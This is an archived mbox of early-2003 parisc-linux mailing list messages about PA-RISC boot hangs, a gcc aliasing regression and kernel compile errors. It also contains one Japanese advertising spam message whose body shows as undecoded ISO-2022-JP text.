Xref: news.gmane.org gmane.linux.ports.parisc:17518

Hi Derek,

>
>
>How long did you let it wait?  Some of the machines prior to the C200 (my
>C360 doesn't do it either) seem to hang, but after 20 mins take off.  It's
>a bus walk issue that takes forever.  There was a patch for this that was
>posted recently to see if it resolved this issue.  Let it sit there for
awile
>and see if it eventually starts booting.

Afaik this a seperated patch (not yet check into our stream):

see <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/018980.html>

as well as successfull first test (so I presume will be ci soon)

<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-January/019015.html>

Good luck,
    Joel

PS: I also test it and it doesn't broken b2k and b180; so I think it could
be safely tested

*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be




From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Tue, 28 Jan 2003 09:47:00 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200301281447.h0SEl0VV007290__10268.9239815392$1416622154$gmane$org@hiauly1.hia.nrc.ca>
References: <20030128073101.GD20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622154 20669 80.91.229.3 (22 Nov 2014 02:09:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:14 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsoe0708@tiscali.be,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 07:47:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62B5F482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 07:47:06 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0SEl2ot007291;
	Tue, 28 Jan 2003 09:47:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0SEl0VV007290;
	Tue, 28 Jan 2003 09:47:00 -0500 (EST)
In-Reply-To: <20030128073101.GD20940@tausq.org> from "Randolph Chung" at Jan 27, 2003 11:31:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17519

> gcc translates this to something like this:
>     /* %r4 is &pty_driver */
>     ldo 28(%r4),%r23
>     ldi 28,%r21
>     ldw,ma 4(%r22),%r20
>     ldw,ma 4(%r22),%r19
>     stw,ma %r20,4(%r23)
>     addib,>= -8,%r21,.-12
>     stw,ma %r19,4(%r23)
>     /* ... */
>     stw %r0,28(%r4)
>     stw %r0,32(%r4)
>     stw %r10,36(%r4)
>     stw %r0,40(%r4)
> 
> When optimizations are turned on, gcc reschedules some of those final 
> stw insns above the structure copy loop. When the structure copy 
> happens, the values get overwritten. ick.
> 
> this was kind of interesting to debug :) but i have no idea how to fix
> it. Dave? :)

I don't either at the moment.  It's memory aliasing problem.  It's
most likely not a problem in the backend.

Can you strip the above down to a simple testcase and file a GCC PR?
I will bump it to high-priority as it is a regression.

-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arelax.NET-AD <info@arelax.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoIVojMSMwIzVMPk1NJEslVyVsGyhC?=
 =?ISO-2022-JP?B?GyRCJTwlcyVIIVshISVtITwlOiVSJUMlV0I+JUAlJCUoJUMlSD4mGyhC?=
 =?ISO-2022-JP?B?GyRCSUokchsoQiAbJEIkSSRJIUEkcyRIQW1AKhsoQjEwNRskQkw+GyhC?=
 =?ISO-2022-JP?B?GyRCTU0kSyEqGyhC?=
Date: Wed, 29 Jan 2003 03:35:27 +0900
Lines: 151
Approved: news@gmane.org
Message-ID: <20030129.0335260767.babaq@info-arelax.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
X-Trace: ger.gmane.org 1416622154 20671 80.91.229.3 (22 Nov 2014 02:09:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 11:35:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from st47.arena.ne.jp (st47.arena.ne.jp [210.150.221.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id E40FB482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 11:35:47 -0700 (MST)
Original-Received: (qmail 2595 invoked by uid 114); 29 Jan 2003 03:35:35 +0900
Original-Received: from info@arelax.net by st47.arena.ne.jp
	 by uid 111 with qmail-scanner-1.10 (sophie: 2.10/3.65. . Clear:0. Processed in 0.02851 secs); 29 Jan 2003 03:35:35 +0900
Original-Received: from unknown (HELO s1.gd.kcn-tv.ne.jp) (61.209.217.36)
  by arelax.net with SMTP; 29 Jan 2003 03:35:35 +0900
X-Mail-Agent: Extra Japan @Mailer                   
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17520

<$B;v6H<T(B> $BM-8B2q<R%S%e!<%F%#%b%"(B  $BH~!9(Ban
 $B!!!!!!!!(B  $BBg:eI\Bg:e;TO2B.6hFqGHCf(B2-8-97
<$B;v6H<T(BURL> http://www.rakuten.co.jp/vivian/
<$B;v6H<T(BE-Mail> tokutoku@b-vivian.com 

<$BAw?.<T(B> $B%"%j%i%C%/%9%"%/%;%9%"%C%W%5%]!<%HG[?.Be9T(Binfo@arelax.net
$B"(FCDj>&<h0zK!;\9T5,B'(B<$B9-9p$N<u<h$r4uK>$7$J$$>l9g$NO"MmJ}K!(B>
$BEvJ}$+$i$N9-9pG[?.Dd;_$r4uK>$5$l$kJ}$O!"$3$N%a!<%k$K$=$N$^$^JV?.$$(B
$B$?$@$/$+!"<c$7$/$O!"7oL>$r!VG[?.Dd;_!W$H=q$-49$(JV?.$7$F$/$@$5$$!#(B
$B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B


$B!y!y!z!!%@%$%(%C%H$H$-$l$$$r!"$i$/$i$/!"$?$N$7$/"v(B
$B!y!z(B
$B!z!!!!H~!9(Ban $B%&%'%V%7%g%C%W$+$i!"%W%l%<%s%H$N$40FFb"v(B
$B!y!z(B
$B!y!y!z!!CjA*$G#1#0#5L>MM$K!*%m!<%:%R%C%W$d7r9/?)IJ$,Ev$?$k!*!"(B


$B!!"#""""(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y(B
$B!!""""!!(B $B!!H~!9(Ban $B$O!&!&!&(B
$B!!""(B

$B!!!!0&MQ<TB3=P$N?M5$%O!<%V%F%#!<!&!V%m!<%:%R%C%W%F%#!<!W$r$O$8$a!"(B
$B!!!!%@%$%(%C%H?)IJ!"7r9/?)IJ!"2=>QIJ$J$I!"%-%l%$$K$J$j$?$$=w@-$r(B
$B!!!!1~1g$9$k>&IJ$r$*5a$a$d$9$$2A3J$GDs6!$7$F$$$k%M%C%H%7%g%C%W$G$9!#(B

$B!!!!!!"'(B $BH~!9(Ban WebShop $B$O$3$A$i(B $B"'(B
$B!!!!!!(Bhttp://www.rakuten.co.jp/vivian/

$B!!!!:#!"H~!9(Ban$B$G$O!"%m!<%:%R%C%W$d%@%$%(%C%H?)IJ$J$I!"EvE9$G?M5$$N(B
$B!!!!>&IJ$r%W%l%<%s%H$9$k!X%?%@%W%l#1#1!Y$r3+:ECf$G$9!*(B


$B!!!!"#""!z1~Jg$N(BURL$B$O$3$N%a!<%k$N2<$N$[$&$K$"$j$^$9"-!z"""#(B


$B!!"#""""(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y(B
$B!!""""!!(B $B!!%W%l%<%s%H>&IJ%i%$%s%J%C%W(B
$B!!""(B
$B!!!!!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2(B
$B!!!!!z(B $B%S%?%_%s#P!&#C!&#E$NAj>h8z2L$GLS7j$,%-%e%C!*(B
$B!!!!!!!!!!H)$D$d$D$d!*$40&MQ<TB3=P$N%O!<%V%F%#!<!*(B
$B!!!!!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1(B
$B!!!!!!"""#!!E7A3%m!<%:%R%C%W%F%#!<(B100%$B!&$*;n$7MQ!&!&!&#1#0#0L>MM$X!*(B
$B!!!!!!""""!!!J(B30g$BF~$j!&Dj2A(B300$B1_!K(B

$B!!!!!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2(B
$B!!!!!z(B $B%@%$%(%C%H$K!*$*DL$8$N2~A1$K!*%A%g%3L#$N%?%V%l%C%H!#(B
$B!!!!!!!!!!%]%j%]%j$+$8$C$FD6%9%C%-%j!*(B
$B!!!!!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1(B
$B!!!!!!"""#!!%N%s%U%!%C%H%l%G%#!<%9!&%A%g%&2w$A$g$&!&!&!&#3L>MM$X!*(B
$B!!!!!!""""!!!J(B45$BN3F~$j!&Dj2A(B8,800$B1_!K(B

$B!!!!!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2(B
$B!!!!!z(B $B?)$Y2a$.$kJ}!"4E$$J*!"L}$C$3$$J*$,9%$-$JJ}$K!#(B
$B!!!!!!!!!!IaCJ$HJQ$o$i$J$$?);v$G7r9/%@%$%(%C%H!#(B
$B!!!!!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1(B
$B!!!!!!"""#!!%9!<%Q!<%W%l%_%"%`%(%9%F#Z!]#3!!!!!!!&!&!&!!#1L>MM$X!*(B
$B!!!!!!""""!!!J(B120$BN3F~$j!&Dj2A(B15,000$B1_!K(B

$B!!!!!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2!2(B
$B!!!!!z(B $B%&%(%9%H!&%R%C%W!&Fs$NOS!&Hh$l$?B-$N$`$/$_$K$b!#(B
$B!!!!!!!!!!%H%j!<%H%a%s%H!u%9%j%`%5%]!<%H!*(B
$B!!!!!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1(B
$B!!!!!!"""#!!%Q%C%A%a!<%0%k!!!!!!!!!!!!!!!!!!!!!!!&!&!&!!#1L>MM$X!*(B
$B!!!!!!""""!!!J(B30$BKgF~$j!&Dj2A(B9,800$B1_!K(B



$B!!"#""""(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y(B
$B!!""""!!(B $B!!%W%l%<%s%H1~JgMW9`(B
$B!!""(B

$B!!!!!|1~Jg4|4V!'(B2003$BG/(B1$B7n(B23$BF|!!!A!!(B2003$BG/(B2$B7n(B26$BF|(B

$B!!!!!|1~Jg;q3J!'EvMn$N$*CN$i$;$r$40FFb$9$k$?$a!"(B
$B!!!!!!!!!!!!!!!!!!%a!<%k%"%I%l%9$r$*;}$A$NJ}$K8B$i$;$FD:$-$^$9!#(B

$B!!!!!|1~JgJ}K!!'%[!<%`%Z!<%8>e$N1~Jg%U%)!<%`$+$i$41~Jg2<$5$$!#(B
$B!!!!!!!!!!!!!!!!(B

$B!!!!!|EvA*7hDjJ}K!!'1~JgB??t$N>l9g$OCjA*$H$J$j$^$9!#(B

$B!!!!!|EvA*H/I=!'(B2003$BG/(B3$B7n(B2$BF|!JM=Dj!K(B
$B!!!!!!!!!!!!!!!!%[!<%`%Z!<%8>e5Z$S%a!<%k$K$FEvMn$r$*CN$i$;$7$^$9!#(B

$B!!!!!|H/!!!!Aw!'EvA*H/I=8e!"#31D6HF|$^$G$KA4$F=P2Y$$$?$7$^$9!#(B

$B!!!!!|Cm0U;v9`!'(B
$B!!!!!!!&$41~Jg$O$*0l?MMM$K$D$-!"#1>&IJ$N$_$H$5$;$F$$$?$@$$$F$*$j$^(B
        $B$9!##2>&IJ0J>e$41~JgD:$$$?>l9g!"CjA*$NBP>]$H$J$j$^$;$s$N$G(B
        $B$4Cm0U$/$@$5$$!#(B
$B!!!!!!!&%W%l%<%s%H$K4X$9$k$*Ld$$9g$o$;$d!">&IJ$N8r49!"G[C#F|;~$J$I(B
        $B$N%j%/%(%9%H$K$O$*1~$($G$-$^$;$s$N$GM=$a$4N;>52<$5$$!#(B

$B!!!!!|%W%i%$%P%7!<%]%j%7!<!'(B
$B!!!!!!!&$41~Jg$$$?$@$/:]$45-F~$$$?$@$/!"$*L>A0!&$4=;=j!&$*EEOCHV9f(B
        $B$J$I$N8D?M>pJs$O!"%W%l%<%s%H$NDLCN!&H/Aw5Z$S!"EvE9$NH/9T$9(B
        $B$k%a!<%k%^%,%8%s$NG[?.0J30$NL\E*$G;HMQ$9$k$3$H$O$"$j$^$;$s!#(B


$B!!"#""""(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y(B
$B!!""""!!(B $B!!$41~Jg$N<j=g(B
$B!!""(B

$B!!!!#1!%$^$:$O!"2<$N(BURL$B$r%/%j%C%/$7$F%W%l%<%s%H%Z!<%8$KHt$V!#(B

$B!!!!#2!%%W%l%<%s%H$NCf$+$iM_$7$$>&IJ$r$R$H$D$@$1A*$S!"(B
$B!!!!!!!!!V%W%l%<%s%H1~Jg!W%\%?%s$r%/%j%C%/$9$k!#(B

$B!!!!#3!%$*L>A0!"$4=;=j$J$I4pK\;v9`$r5-F~$$$?$@$-<!$X!#(B

$B!!!!#4!%FbMF$r3NG'$7$F(BOK$B$G$"$l$P1~Jg!#(B

$B!!!!#5!%1~Jg<jB3$-40N;8e!"%W%l%<%s%H1~Jg$N3NG'%a!<%k$,FO$-$^$9$N$G(B
$B!!!!!!!!EvA*H/I=$^$GBg@Z$KJ]4I$7$F$/$@$5$$!#(B

$B!!!!#6!%$"$H$O!"$o$/$o$/$7$J$,$iEvA*H/I=$r$*BT$A2<$5$$"v(B


$B!!!y(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y!!(B
$B!!!!(B $B!!"'!!$5$"!":#$9$0"-$N(BURL$B$+$i$41~Jg2<$5$$(B $B"&"'"&"'"&"'"&"'"&(B
$B!!""(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y(B
$B!!""""!!!!(Bhttp://www.rakuten.co.jp/vivian/468274/472362/486997/
$B!!"#""""(B $B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B $B!y(B


$B!!!y!!$?$/$5$s$N$41~Jg!"$*BT$A$7$F$*$j$^$9"v(B

$B!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=(B
$B!!H~!9(Ban $BF@!9;v6HIt(B
 $BM-8B2q<R%S%e!<%F%#%b%"(B  $BH~!9(Ban
$B!!")(B556-0011 $BBg:e;TO2B.6hFqGHCf(B2$B!](B8$B!](B97
$B!!(B(TEL) 06-6629-3535  (FAX)06-6630-1311
$B!!(B(URL) http://www.rakuten.co.jp/vivian/
$B!!(B(E-mail)tokutoku@b-vivian.com

==================================================================
$B$3$N9-9p$O!"%"%j%i%C%/%9!!%"%/%;%9%"%C%W%5%]!<%H!!(Binfo@arelax.net
$B$,Aw?.Be9T$7$F$*$j$^$9!#(B
$B9-9p<g$O(B<$B;v6H<T(B>$B$G$9!#9-9p$NFbMF$K4X$9$k$*Ld$$9g$o$;$O!"(B
<$B;v6H<T(B>tokutoku@b-vivian.com$B$X$*4j$$CW$7$^$9!#(B
$BG[?.Dd;_$O!"(Binfo@arelax.net$B!!$X(B

$BEvJ}$G$O!"FCDj>&<h0zK!$K=>$$E,@5$J>&6H9-9p%a!<%kG[?.$r9T$C$F$*$j$^$9!#(B
$BEvJ}$+$i$N9-9pG[?.Dd;_$r4uK>$5$l$kJ}$O!"$3$N%a!<%k$K$=$N$^$^JV?.$$$?(B
$B$@$/$+!"<c$7$/$O!"7oL>$r!VG[?.Dd;_!W$H=q$-49$(JV?.$7$F$/$@$5$$!#G[?.(B
$BDd;_$N0U;WI=<($rD:$$$?J}$X:FEY9-9p$r$*Aw$j$9$k;v$O$"$j$^$;$s!#(B
==================================================================


From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel hang.
Date: Tue, 28 Jan 2003 12:48:56 -0800 (PST)
Lines: 84
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301281242350.235-100000@jordan.eng.nateng.com>
References: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622154 20675 80.91.229.3 (22 Nov 2014 02:09:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:14 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 13:49:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AAEF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 13:49:42 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0SL40p00410
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 13:04:00 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0SKmuF00966
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 12:48:56 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17521

Ok, I could only wait 15 minutes or so before I bailed last night,   It
apparently came up though since it was at a screen saver {blank screen}
though the system wouldn't respond...

I rebooted it and watched, it did take about 20 minutes, and it did hang
afterwards here are the last few lines:

sr0: scsi-1 drive
Unifrom CD-ROM driver Revision 3.12
mice: PS/2 mouse common for all mice
HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC: MLC: Registering the System Domain Controller HIL MLC.
HP i8042 SDC + MSM-58321 RTC support loaded (RTC v 1.10d)
Net 4: Linux TCP/IP 1.0 for NET 4.0

I had to type that by hand so please excuse any mispellings.

Should I have not added something {Maybe the RTC Supprt?} when I setup my
kernel?

On Mon, 27 Jan 2003, Derek Engelhaupt wrote:

>
> How long did you let it wait?  Some of the machines prior to the C200 (my C360 doesn't do it either) seem to hang, but after 20 mins take off.  It's a bus walk issue that takes forever.  There was a patch for this that was posted recently to see if it resolved this issue.  Let it sit there for awile and see if it eventually starts booting.
> derek
>  Sir Ace <chandler@nateng.com> wrote:
> I compiled 2.4.20, and set it up to boot from the new kernel.
> Unfortunately it hung, at the
> 'if this the last message you see' part...
> I can't find anything in the FAQ, and I didn't find anything in the bug
> liste... The machine is a J210, any ideas? Or what kind of info should I
> send?
>
> On Mon, 27 Jan 2003, Sir Ace wrote:
>
> >
> > Duh, I forgot that vmlinux gets dropped in /usr/src/linux...
> > my bad...
> >
> > On Mon, 27 Jan 2003, Sir Ace wrote:
> >
> > >
> > > Does vmlinuz work on hp?
> > >
> > > On Mon, 27 Jan 2003, Randolph Chung wrote:
> > >
> > > > > make boot doesn't work, and make vmlinux doesn't seem to be right
> > > > > either...
> > > > >
> > > > > What is the target for a kernel build?
> > > >
> > > > make vmlinux is the right target for harddisk boot. for network boot you
> > > > want make palo
> > > >
> > > > randolph
> > > >
> > >
> > > _______________________________________________
> > > parisc-linux mailing list
> > > parisc-linux@lists.parisc-linux.org
> > > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
> ---------------------------------
> Do you Yahoo!?
> Yahoo! Mail Plus - Powerful. Affordable. Sign up now



From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel compile errors...
Date: Tue, 28 Jan 2003 16:19:11 -0800 (PST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301281618020.235-100000@jordan.eng.nateng.com>
References: <5D69EA3878E6D411B43C00508BFD7283049FB545@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622155 20677 80.91.229.3 (22 Nov 2014 02:09:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 17:19:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F729482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 17:19:39 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0T0YGp06101
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 16:34:16 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0T0JBP01030
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Jan 2003 16:19:11 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <5D69EA3878E6D411B43C00508BFD7283049FB545@exchange2.elgin.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17522

I got these compiling the 2.4.20-pa23 tree:

via-pmu.c:36:22: asm/prom.h: No such file or directory
via-pmu.c:41:26: asm/sections.h: No such file or directory
via-pmu.c:44:30: asm/pmac_feature.h: No such file or directory
via-pmu.c:47:26: asm/sections.h: Success
via-pmu.c:48:26: asm/cputable.h: No such file or directory
via-pmu.c:49:22: asm/time.h: No such file or directory

It didn't halt the compile but I did see it go by.



From - Thu Nov 08 21:26:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel compile errors...
Date: Tue, 28 Jan 2003 16:21:52 -0800 (PST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301281621440.235-100000@jordan.eng.nateng.com>
References: <Pine.LNX.4.33.0301281618020.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622155 20685 80.91.229.3 (22 Nov 2014 02:09:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 28 17:22:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
